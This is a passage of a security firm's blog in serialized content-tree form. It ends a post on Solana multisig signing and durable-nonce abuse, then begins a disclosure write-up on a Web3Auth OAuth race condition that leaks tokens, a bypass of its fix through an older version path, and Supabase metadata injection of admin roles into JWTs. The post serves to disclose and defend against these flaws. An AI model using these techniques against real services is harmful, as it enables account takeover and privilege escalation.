8",{"type":25,"tag":271,"props":82094,"children":82095},{"style":13625},[82096],{"type":30,"value":14351},{"type":25,"tag":271,"props":82098,"children":82099},{"class":13593,"line":16823},[82100],{"type":25,"tag":271,"props":82101,"children":82102},{"style":13625},[82103],{"type":30,"value":38483},{"type":25,"tag":271,"props":82105,"children":82106},{"class":13593,"line":16832},[82107],{"type":25,"tag":271,"props":82108,"children":82109},{"style":13625},[82110],{"type":30,"value":50311},{"type":25,"tag":271,"props":82112,"children":82113},{"class":13593,"line":16841},[82114],{"type":25,"tag":271,"props":82115,"children":82116},{"style":13625},[82117],{"type":30,"value":82118},"    ],\n",{"type":25,"tag":271,"props":82120,"children":82121},{"class":13593,"line":16907},[82122],{"type":25,"tag":271,"props":82123,"children":82124},{"style":13625},[82125],{"type":30,"value":19003},{"type":25,"tag":271,"props":82127,"children":82128},{"class":13593,"line":16915},[82129],{"type":25,"tag":271,"props":82130,"children":82131},{"style":13625},[82132],{"type":30,"value":13665},{"type":25,"tag":26,"props":82134,"children":82135},{},[82136,82138,82146],{"type":30,"value":82137},"Unfortunately this is not sufficient",{"type":25,"tag":28595,"props":82139,"children":82140},{},[82141],{"type":25,"tag":83,"props":82142,"children":82144},{"href":42736,"ariaDescribedBy":82143,"dataFootnoteRef":7,"id":42738},[28602],[82145],{"type":30,"value":968},{"type":30,"value":82147},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":25,"tag":7764,"props":82149,"children":82151},{"className":13586,"code":82150,"language":13585,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[82152],{"type":25,"tag":264,"props":82153,"children":82154},{"__ignoreMap":7},[82155,82221,82237,82320],{"type":25,"tag":271,"props":82156,"children":82157},{"class":13593,"line":13594},[82158,82162,82166,82170,82175,82179,82183,82187,82191,82195,82199,82203,82208,82212,82217],{"type":25,"tag":271,"props":82159,"children":82160},{"style":14289},[82161],{"type":30,"value":16140},{"type":25,"tag":271,"props":82163,"children":82164},{"style":13598},[82165],{"type":30,"value":56483},{"type":25,"tag":271,"props":82167,"children":82168},{"style":13603},[82169],{"type":30,"value":16155},{"type":25,"tag":271,"props":82171,"children":82172},{"style":13625},[82173],{"type":30,"value":82174}," system_instruction",{"type":25,"tag":271,"props":82176,"children":82177},{"style":13603},[82178],{"type":30,"value":13617},{"type":25,"tag":271,"props":82180,"children":82181},{"style":13620},[82182],{"type":30,"value":45235},{"type":25,"tag":271,"props":82184,"children":82185},{"style":13625},[82186],{"type":30,"value":394},{"type":25,"tag":271,"props":82188,"children":82189},{"style":13603},[82190],{"type":30,"value":13632},{"type":25,"tag":271,"props":82192,"children":82193},{"style":13598},[82194],{"type":30,"value":32594},{"type":25,"tag":271,"props":82196,"children":82197},{"style":13625},[82198],{"type":30,"value":44},{"type":25,"tag":271,"props":82200,"children":82201},{"style":13603},[82202],{"type":30,"value":13632},{"type":25,"tag":271,"props":82204,"children":82205},{"style":13598},[82206],{"type":30,"value":82207},"ledger_base_pubkey",{"type":25,"tag":271,"props":82209,"children":82210},{"style":13625},[82211],{"type":30,"value":44},{"type":25,"tag":271,"props":82213,"children":82214},{"style":16187},[82215],{"type":30,"value":82216},"42",{"type":25,"tag":271,"props":82218,"children":82219},{"style":13625},[82220],{"type":30,"value":13665},{"type":25,"tag":271,"props":82222,"children":82223},{"class":13593,"line":11641},[82224,82228,82233],{"type":25,"tag":271,"props":82225,"children":82226},{"style":14289},[82227],{"type":30,"value":16140},{"type":25,"tag":271,"props":82229,"children":82230},{"style":13598},[82231],{"type":30,"value":82232}," message",{"type":25,"tag":271,"props":82234,"children":82235},{"style":13603},[82236],{"type":30,"value":48967},{"type":25,"tag":271,"props":82238,"children":82239},{"class":13593,"line":14354},[82240,82245,82249,82254,82258,82262,82266,82270,82274,82278,82282,82286,82291,82295,82299,82304,82308,82312,82316],{"type":25,"tag":271,"props":82241,"children":82242},{"style":13609},[82243],{"type":30,"value":82244},"        Message",{"type":25,"tag":271,"props":82246,"children":82247},{"style":13603},[82248],{"type":30,"value":13617},{"type":25,"tag":271,"props":82250,"children":82251},{"style":13620},[82252],{"type":30,"value":82253},"new_with_nonce",{"type":25,"tag":271,"props":82255,"children":82256},{"style":13625},[82257],{"type":30,"value":394},{"type":25,"tag":271,"props":82259,"children":82260},{"style":13620},[82261],{"type":30,"value":17033},{"type":25,"tag":271,"props":82263,"children":82264},{"style":13625},[82265],{"type":30,"value":5604},{"type":25,"tag":271,"props":82267,"children":82268},{"style":13598},[82269],{"type":30,"value":56793},{"type":25,"tag":271,"props":82271,"children":82272},{"style":13625},[82273],{"type":30,"value":36160},{"type":25,"tag":271,"props":82275,"children":82276},{"style":13609},[82277],{"type":30,"value":55132},{"type":25,"tag":271,"props":82279,"children":82280},{"style":13625},[82281],{"type":30,"value":394},{"type":25,"tag":271,"props":82283,"children":82284},{"style":13603},[82285],{"type":30,"value":13632},{"type":25,"tag":271,"props":82287,"children":82288},{"style":13598},[82289],{"type":30,"value":82290},"evil_nonce_authority",{"type":25,"tag":271,"props":82292,"children":82293},{"style":13625},[82294],{"type":30,"value":28299},{"type":25,"tag":271,"props":82296,"children":82297},{"style":13603},[82298],{"type":30,"value":13632},{"type":25,"tag":271,"props":82300,"children":82301},{"style":13598},[82302],{"type":30,"value":82303},"nonce_account",{"type":25,"tag":271,"props":82305,"children":82306},{"style":13625},[82307],{"type":30,"value":44},{"type":25,"tag":271,"props":82309,"children":82310},{"style":13603},[82311],{"type":30,"value":13632},{"type":25,"tag":271,"props":82313,"children":82314},{"style":13598},[82315],{"type":30,"value":82290},{"type":25,"tag":271,"props":82317,"children":82318},{"style":13625},[82319],{"type":30,"value":16299},{"type":25,"tag":271,"props":82321,"children":82322},{"class":13593,"line":14391},[82323,82327,82332],{"type":25,"tag":271,"props":82324,"children":82325},{"style":13603},[82326],{"type":30,"value":16307},{"type":25,"tag":271,"props":82328,"children":82329},{"style":13620},[82330],{"type":30,"value":82331},"serialize",{"type":25,"tag":271,"props":82333,"children":82334},{"style":13625},[82335],{"type":30,"value":16820},{"type":25,"tag":26,"props":82337,"children":82338},{},[82339,82341,82348],{"type":30,"value":82340},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":25,"tag":83,"props":82342,"children":82345},{"href":82343,"rel":82344},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[9066],[82346],{"type":30,"value":82347},"logs the fee-payer here",{"type":30,"value":1860},{"type":25,"tag":7764,"props":82350,"children":82352},{"className":29637,"code":82351,"language":13243,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[82353],{"type":25,"tag":264,"props":82354,"children":82355},{"__ignoreMap":7},[82356,82415,82471],{"type":25,"tag":271,"props":82357,"children":82358},{"class":13593,"line":13594},[82359,82363,82368,82372,82376,82381,82385,82390,82394,82398,82402,82406,82411],{"type":25,"tag":271,"props":82360,"children":82361},{"style":14289},[82362],{"type":30,"value":42798},{"type":25,"tag":271,"props":82364,"children":82365},{"style":13620},[82366],{"type":30,"value":82367}," print_config_show_authority",{"type":25,"tag":271,"props":82369,"children":82370},{"style":13625},[82371],{"type":30,"value":394},{"type":25,"tag":271,"props":82373,"children":82374},{"style":14289},[82375],{"type":30,"value":22778},{"type":25,"tag":271,"props":82377,"children":82378},{"style":13625},[82379],{"type":30,"value":82380}," PrintConfig",{"type":25,"tag":271,"props":82382,"children":82383},{"style":13603},[82384],{"type":30,"value":17702},{"type":25,"tag":271,"props":82386,"children":82387},{"style":13598},[82388],{"type":30,"value":82389}," print_config",{"type":25,"tag":271,"props":82391,"children":82392},{"style":13625},[82393],{"type":30,"value":44},{"type":25,"tag":271,"props":82395,"children":82396},{"style":14289},[82397],{"type":30,"value":22778},{"type":25,"tag":271,"props":82399,"children":82400},{"style":13625},[82401],{"type":30,"value":33977},{"type":25,"tag":271,"props":82403,"children":82404},{"style":13603},[82405],{"type":30,"value":17702},{"type":25,"tag":271,"props":82407,"children":82408},{"style":13598},[82409],{"type":30,"value":82410}," authority",{"type":25,"tag":271,"props":82412,"children":82413},{"style":13625},[82414],{"type":30,"value":27925},{"type":25,"tag":271,"props":82416,"children":82417},{"class":13593,"line":11641},[82418,82422,82426,82430,82435,82439,82443,82448,82452,82457,82461,82466],{"type":25,"tag":271,"props":82419,"children":82420},{"style":16171},[82421],{"type":30,"value":30111},{"type":25,"tag":271,"props":82423,"children":82424},{"style":13598},[82425],{"type":30,"value":82389},{"type":25,"tag":271,"props":82427,"children":82428},{"style":13625},[82429],{"type":30,"value":14411},{"type":25,"tag":271,"props":82431,"children":82432},{"style":13598},[82433],{"type":30,"value":82434},"expert_mode",{"type":25,"tag":271,"props":82436,"children":82437},{"style":13603},[82438],{"type":30,"value":36807},{"type":25,"tag":271,"props":82440,"children":82441},{"style":13603},[82442],{"type":30,"value":25989},{"type":25,"tag":271,"props":82444,"children":82445},{"style":13620},[82446],{"type":30,"value":82447},"pubkeys_equal",{"type":25,"tag":271,"props":82449,"children":82450},{"style":13625},[82451],{"type":30,"value":394},{"type":25,"tag":271,"props":82453,"children":82454},{"style":13598},[82455],{"type":30,"value":82456},"print_config",{"type":25,"tag":271,"props":82458,"children":82459},{"style":13625},[82460],{"type":30,"value":14411},{"type":25,"tag":271,"props":82462,"children":82463},{"style":13598},[82464],{"type":30,"value":82465},"signer_pubkey",{"type":25,"tag":271,"props":82467,"children":82468},{"style":13625},[82469],{"type":30,"value":82470},", authority);\n",{"type":25,"tag":271,"props":82472,"children":82473},{"class":13593,"line":14354},[82474],{"type":25,"tag":271,"props":82475,"children":82476},{"style":13625},[82477],{"type":30,"value":17058},{"type":25,"tag":26,"props":82479,"children":82480},{},[82481],{"type":30,"value":82482},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":25,"tag":26,"props":82484,"children":82485},{},[82486],{"type":30,"value":82487},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":25,"tag":26,"props":82489,"children":82490},{},[82491],{"type":30,"value":82492},"We can then use the following procedure.",{"type":25,"tag":661,"props":82494,"children":82495},{},[82496,82501,82506,82511,82516],{"type":25,"tag":112,"props":82497,"children":82498},{},[82499],{"type":30,"value":82500},"Ensure all signers have no durable nonce accounts.",{"type":25,"tag":112,"props":82502,"children":82503},{},[82504],{"type":30,"value":82505},"The first signer signs and submits the transaction.",{"type":25,"tag":112,"props":82507,"children":82508},{},[82509],{"type":30,"value":82510},"Wait two minutes for all recent blockhashes to expire.",{"type":25,"tag":112,"props":82512,"children":82513},{},[82514],{"type":30,"value":82515},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":25,"tag":112,"props":82517,"children":82518},{},[82519],{"type":30,"value":82520},"Repeat steps 2 to 4 for each signer",{"type":25,"tag":96,"props":82522,"children":82524},{"id":82523},"beyond",[82525],{"type":30,"value":82526},"Beyond",{"type":25,"tag":26,"props":82528,"children":82529},{},[82530],{"type":30,"value":82531},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":25,"tag":26,"props":82533,"children":82534},{},[82535,82537,82544],{"type":30,"value":82536},"For example, pcaversaccio wrote a tool to ",{"type":25,"tag":83,"props":82538,"children":82541},{"href":82539,"rel":82540},"https://github.com/pcaversaccio/safe-tx-hashes-util",[9066],[82542],{"type":30,"value":82543},"validate Safe transaction hashes",{"type":30,"value":82545},". As the space matures, we hope more open source tooling will come to light.",{"type":25,"tag":31544,"props":82547,"children":82549},{"className":82548,"dataFootnotes":7},[31547],[82550,82555],{"type":25,"tag":96,"props":82551,"children":82553},{"className":82552,"id":28602},[31552],[82554],{"type":30,"value":31555},{"type":25,"tag":661,"props":82556,"children":82557},{},[82558],{"type":25,"tag":112,"props":82559,"children":82560},{"id":43478},[82561,82563,82571,82573],{"type":30,"value":82562},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":25,"tag":83,"props":82564,"children":82568},{"href":82565,"rel":82566,":style":82567},"https://twitter.com/PierreArowana",[9066],"color: #B1D0EE; text-decoration: underline;",[82569],{"type":30,"value":82570},"@PierreArowana",{"type":30,"value":82572}," for pointing this out to me. ",{"type":25,"tag":83,"props":82574,"children":82576},{"href":43506,"ariaLabel":31657,"className":82575,"dataFootnoteBackref":7},[31659],[82577],{"type":30,"value":31662},{"type":25,"tag":15963,"props":82579,"children":82580},{},[82581],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":82583},[82584,82588,82589,82590],{"id":80781,"depth":11641,"text":80784,"children":82585},[82586,82587],{"id":80792,"depth":14354,"text":80795},{"id":81070,"depth":14354,"text":81073},{"id":81791,"depth":11641,"text":81794},{"id":82523,"depth":11641,"text":82526},{"id":28602,"depth":11641,"text":31555},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":82595,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":82596,"description":82597,"date":82598,"author":82599,"image":82600,"isFeatured":18,"onBlogPage":18,"tags":82602,"body":82603,"_type":16004,"_id":84300,"_source":16006,"_file":84301,"_stem":84302,"_extension":16009},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[44313,44312],{"src":82601},"/posts/web2-in-web3/title.jpg",[45253],{"type":22,"children":82604,"toc":84282},[82605,82610,82615,82620,82646,82652,82657,82663,82684,82690,82695,82702,82715,82745,82751,82795,82802,82808,82841,82862,82870,82889,82896,82901,82907,82912,82917,82942,82947,82953,82959,82980,82986,83013,83041,83048,83053,83058,83403,83407,83429,83435,83456,83470,83483,83488,83504,83509,84237,84242,84247,84252,84264,84268,84273,84278],{"type":25,"tag":26,"props":82606,"children":82607},{},[82608],{"type":30,"value":82609},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":25,"tag":26,"props":82611,"children":82612},{},[82613],{"type":30,"value":82614},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":25,"tag":26,"props":82616,"children":82617},{},[82618],{"type":30,"value":82619},"In this article, we will discuss three cases we discovered:",{"type":25,"tag":661,"props":82621,"children":82622},{},[82623,82628,82641],{"type":25,"tag":112,"props":82624,"children":82625},{},[82626],{"type":30,"value":82627},"OAuth Logic Vulnerability on an Authentication Provider",{"type":25,"tag":112,"props":82629,"children":82630},{},[82631,82633,82639],{"type":30,"value":82632},"Supabase ",{"type":25,"tag":264,"props":82634,"children":82636},{"className":82635},[],[82637],{"type":30,"value":82638},"user_metadata",{"type":30,"value":82640}," misconfiguration",{"type":25,"tag":112,"props":82642,"children":82643},{},[82644],{"type":30,"value":82645},"OAuth abuse in localhost development environment",{"type":25,"tag":96,"props":82647,"children":82649},{"id":82648},"abusing-oauth-authentication-logic",[82650],{"type":30,"value":82651},"Abusing OAuth Authentication Logic",{"type":25,"tag":26,"props":82653,"children":82654},{},[82655],{"type":30,"value":82656},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":25,"tag":247,"props":82658,"children":82660},{"id":82659},"web3auth-introduction",[82661],{"type":30,"value":82662},"Web3Auth Introduction",{"type":25,"tag":26,"props":82664,"children":82665},{},[82666,82673,82675,82682],{"type":25,"tag":83,"props":82667,"children":82670},{"href":82668,"rel":82669},"https://web3auth.io/",[9066],[82671],{"type":30,"value":82672},"Web3Auth",{"type":30,"value":82674}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":25,"tag":83,"props":82676,"children":82679},{"href":82677,"rel":82678},"https://oauth.net/2/",[9066],[82680],{"type":30,"value":82681},"OAuth2",{"type":30,"value":82683}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":25,"tag":247,"props":82685,"children":82687},{"id":82686},"web3auth-authentication-flow",[82688],{"type":30,"value":82689},"Web3Auth Authentication flow",{"type":25,"tag":26,"props":82691,"children":82692},{},[82693],{"type":30,"value":82694},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":25,"tag":26,"props":82696,"children":82697},{},[82698],{"type":25,"tag":698,"props":82699,"children":82701},{"alt":63694,"src":82700},"/posts/web2-in-web3/auth-flow.png",[],{"type":25,"tag":26,"props":82703,"children":82704},{},[82705,82707,82713],{"type":30,"value":82706},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":25,"tag":264,"props":82708,"children":82710},{"className":82709},[],[82711],{"type":30,"value":82712},"client_id",{"type":30,"value":82714},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":25,"tag":26,"props":82716,"children":82717},{},[82718,82720,82726,82728,82734,82736,82743],{"type":30,"value":82719},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":25,"tag":264,"props":82721,"children":82723},{"className":82722},[],[82724],{"type":30,"value":82725},"/start",{"type":30,"value":82727}," validates the ",{"type":25,"tag":264,"props":82729,"children":82731},{"className":82730},[],[82732],{"type":30,"value":82733},"redirect_url",{"type":30,"value":82735}," against the configured ",{"type":25,"tag":83,"props":82737,"children":82740},{"href":82738,"rel":82739},"https://web3auth.io/docs/dashboard-setup/whitelisting",[9066],[82741],{"type":30,"value":82742},"whitelist",{"type":30,"value":82744}," to ensure it matches one of the allowed URLs.",{"type":25,"tag":247,"props":82746,"children":82748},{"id":82747},"in-transit-cryptography",[82749],{"type":30,"value":82750},"In-transit Cryptography",{"type":25,"tag":26,"props":82752,"children":82753},{},[82754,82756,82763,82765,82771,82773,82779,82781,82786,82788,82793],{"type":30,"value":82755},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":25,"tag":83,"props":82757,"children":82760},{"href":82758,"rel":82759},"https://en.wikipedia.org/wiki/Key_(cryptography)",[9066],[82761],{"type":30,"value":82762},"cryptographic key",{"type":30,"value":82764}," is derived from the ",{"type":25,"tag":264,"props":82766,"children":82768},{"className":82767},[],[82769],{"type":30,"value":82770},"sessionId",{"type":30,"value":82772},"  sent in the ",{"type":25,"tag":264,"props":82774,"children":82776},{"className":82775},[],[82777],{"type":30,"value":82778},"GET",{"type":30,"value":82780}," parameter to the ",{"type":25,"tag":264,"props":82782,"children":82784},{"className":82783},[],[82785],{"type":30,"value":82725},{"type":30,"value":82787},". Since the ",{"type":25,"tag":264,"props":82789,"children":82791},{"className":82790},[],[82792],{"type":30,"value":82770},{"type":30,"value":82794}," can be controlled, it allows us to send and receive data from the session server.",{"type":25,"tag":26,"props":82796,"children":82797},{},[82798],{"type":25,"tag":698,"props":82799,"children":82801},{"alt":63694,"src":82800},"/posts/web2-in-web3/image-2.png",[],{"type":25,"tag":247,"props":82803,"children":82805},{"id":82804},"race-condition",[82806],{"type":30,"value":82807},"Race Condition",{"type":25,"tag":26,"props":82809,"children":82810},{},[82811,82813,82818,82820,82826,82828,82833,82835,82840],{"type":30,"value":82812},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":25,"tag":264,"props":82814,"children":82816},{"className":82815},[],[82817],{"type":30,"value":82725},{"type":30,"value":82819}," and later used in the ",{"type":25,"tag":264,"props":82821,"children":82823},{"className":82822},[],[82824],{"type":30,"value":82825},"/end",{"type":30,"value":82827}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":25,"tag":264,"props":82829,"children":82831},{"className":82830},[],[82832],{"type":30,"value":82725},{"type":30,"value":82834},") but before  use (",{"type":25,"tag":264,"props":82836,"children":82838},{"className":82837},[],[82839],{"type":30,"value":82825},{"type":30,"value":13677},{"type":25,"tag":26,"props":82842,"children":82843},{},[82844,82846,82853,82855,82860],{"type":30,"value":82845},"To exploit this ",{"type":25,"tag":83,"props":82847,"children":82850},{"href":82848,"rel":82849},"https://portswigger.net/web-security/race-conditions",[9066],[82851],{"type":30,"value":82852},"race condition",{"type":30,"value":82854},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":25,"tag":264,"props":82856,"children":82858},{"className":82857},[],[82859],{"type":30,"value":82770},{"type":30,"value":82861}," but with modified malicious parameters.",{"type":25,"tag":26,"props":82863,"children":82864},{},[82865],{"type":25,"tag":38,"props":82866,"children":82867},{},[82868],{"type":30,"value":82869},"What can be modified to achieve something impactful?",{"type":25,"tag":26,"props":82871,"children":82872},{},[82873,82875,82881,82883,82888],{"type":30,"value":82874},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":25,"tag":264,"props":82876,"children":82878},{"className":82877},[],[82879],{"type":30,"value":82880},"redirect_uri",{"type":30,"value":82882}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":25,"tag":264,"props":82884,"children":82886},{"className":82885},[],[82887],{"type":30,"value":82712},{"type":30,"value":1860},{"type":25,"tag":26,"props":82890,"children":82891},{},[82892],{"type":25,"tag":698,"props":82893,"children":82895},{"alt":63694,"src":82894},"/posts/web2-in-web3/image-3.png",[],{"type":25,"tag":26,"props":82897,"children":82898},{},[82899],{"type":30,"value":82900},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":25,"tag":247,"props":82902,"children":82904},{"id":82903},"patch-bypass",[82905],{"type":30,"value":82906},"Patch & Bypass",{"type":25,"tag":26,"props":82908,"children":82909},{},[82910],{"type":30,"value":82911},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":25,"tag":26,"props":82913,"children":82914},{},[82915],{"type":30,"value":82916},"To bypass the fix we were able to change the version in the URL:",{"type":25,"tag":108,"props":82918,"children":82919},{},[82920,82931],{"type":25,"tag":112,"props":82921,"children":82922},{},[82923,82929],{"type":25,"tag":264,"props":82924,"children":82926},{"className":82925},[],[82927],{"type":30,"value":82928},"https://auth.web3auth.io/v8/start",{"type":30,"value":82930}," (latest version)",{"type":25,"tag":112,"props":82932,"children":82933},{},[82934,82940],{"type":25,"tag":264,"props":82935,"children":82937},{"className":82936},[],[82938],{"type":30,"value":82939},"https://auth.web3auth.io/v6/start",{"type":30,"value":82941}," (bypass)",{"type":25,"tag":26,"props":82943,"children":82944},{},[82945],{"type":30,"value":82946},"We reported this issue, and it was addressed just as quickly!",{"type":25,"tag":96,"props":82948,"children":82950},{"id":82949},"supabase-metadata-manipulation",[82951],{"type":30,"value":82952},"Supabase metadata manipulation",{"type":25,"tag":247,"props":82954,"children":82956},{"id":82955},"supabase-authentication-flow",[82957],{"type":30,"value":82958},"Supabase Authentication flow",{"type":25,"tag":26,"props":82960,"children":82961},{},[82962,82969,82971,82978],{"type":25,"tag":83,"props":82963,"children":82966},{"href":82964,"rel":82965},"https://supabase.com/docs/guides/auth",[9066],[82967],{"type":30,"value":82968},"Supabase",{"type":30,"value":82970}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":25,"tag":83,"props":82972,"children":82975},{"href":82973,"rel":82974},"https://jwt.io/",[9066],[82976],{"type":30,"value":82977},"JWT",{"type":30,"value":82979}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":25,"tag":247,"props":82981,"children":82983},{"id":82982},"jwt-verification",[82984],{"type":30,"value":82985},"JWT verification",{"type":25,"tag":26,"props":82987,"children":82988},{},[82989,82991,82996,82997,83003,83005,83011],{"type":30,"value":82990},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":25,"tag":264,"props":82992,"children":82994},{"className":82993},[],[82995],{"type":30,"value":82638},{"type":30,"value":12218},{"type":25,"tag":264,"props":82998,"children":83000},{"className":82999},[],[83001],{"type":30,"value":83002},"identity_data",{"type":30,"value":83004},", in a signup request by manipulating the input inside the ",{"type":25,"tag":264,"props":83006,"children":83008},{"className":83007},[],[83009],{"type":30,"value":83010},"\"data\": {}",{"type":30,"value":83012}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":25,"tag":26,"props":83014,"children":83015},{},[83016,83018,83024,83025,83031,83033,83039],{"type":30,"value":83017},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":25,"tag":264,"props":83019,"children":83021},{"className":83020},[],[83022],{"type":30,"value":83023},"\"role\": \"admin\"",{"type":30,"value":26259},{"type":25,"tag":264,"props":83026,"children":83028},{"className":83027},[],[83029],{"type":30,"value":83030},"\"email_verified\": true",{"type":30,"value":83032},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":25,"tag":264,"props":83034,"children":83036},{"className":83035},[],[83037],{"type":30,"value":83038},"\"test\": \"test\"",{"type":30,"value":83040},", enabling us to inject arbitrary data into the final JWT token.",{"type":25,"tag":26,"props":83042,"children":83043},{},[83044],{"type":25,"tag":698,"props":83045,"children":83047},{"alt":63694,"src":83046},"/posts/web2-in-web3/image-4.png",[],{"type":25,"tag":26,"props":83049,"children":83050},{},[83051],{"type":30,"value":83052},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":25,"tag":26,"props":83054,"children":83055},{},[83056],{"type":30,"value":83057},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":25,"tag":7764,"props":83059,"children":83061},{"className":44475,"code":83060,"language":44477,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[83062],{"type":25,"tag":264,"props":83063,"children":83064},{"__ignoreMap":7},[83065,83090,83102,83171,83220,83268,83313,83336,83373,83389,83396],{"type":25,"tag":271,"props":83066,"children":83067},{"class":13593,"line":13594},[83068,83072,83077,83081,83086],{"type":25,"tag":271,"props":83069,"children":83070},{"style":14289},[83071],{"type":30,"value":44489},{"type":25,"tag":271,"props":83073,"children":83074},{"style":13620},[83075],{"type":30,"value":83076}," parseSupaBase",{"type":25,"tag":271,"props":83078,"children":83079},{"style":13625},[83080],{"type":30,"value":394},{"type":25,"tag":271,"props":83082,"children":83083},{"style":13598},[83084],{"type":30,"value":83085},"token",{"type":25,"tag":271,"props":83087,"children":83088},{"style":13625},[83089],{"type":30,"value":27925},{"type":25,"tag":271,"props":83091,"children":83092},{"class":13593,"line":11641},[83093,83098],{"type":25,"tag":271,"props":83094,"children":83095},{"style":16171},[83096],{"type":30,"value":83097},"    try",{"type":25,"tag":271,"props":83099,"children":83100},{"style":13625},[83101],{"type":30,"value":16431},{"type":25,"tag":271,"props":83103,"children":83104},{"class":13593,"line":14354},[83105,83109,83113,83118,83122,83127,83131,83136,83140,83144,83149,83153,83158,83162,83167],{"type":25,"tag":271,"props":83106,"children":83107},{"style":14289},[83108],{"type":30,"value":46014},{"type":25,"tag":271,"props":83110,"children":83111},{"style":13625},[83112],{"type":30,"value":36132},{"type":25,"tag":271,"props":83114,"children":83115},{"style":13598},[83116],{"type":30,"value":83117},"header",{"type":25,"tag":271,"props":83119,"children":83120},{"style":13625},[83121],{"type":30,"value":44},{"type":25,"tag":271,"props":83123,"children":83124},{"style":13598},[83125],{"type":30,"value":83126},"payload",{"type":25,"tag":271,"props":83128,"children":83129},{"style":13625},[83130],{"type":30,"value":44},{"type":25,"tag":271,"props":83132,"children":83133},{"style":13598},[83134],{"type":30,"value":83135},"signature",{"type":25,"tag":271,"props":83137,"children":83138},{"style":13625},[83139],{"type":30,"value":21781},{"type":25,"tag":271,"props":83141,"children":83142},{"style":13603},[83143],{"type":30,"value":1065},{"type":25,"tag":271,"props":83145,"children":83146},{"style":13598},[83147],{"type":30,"value":83148}," 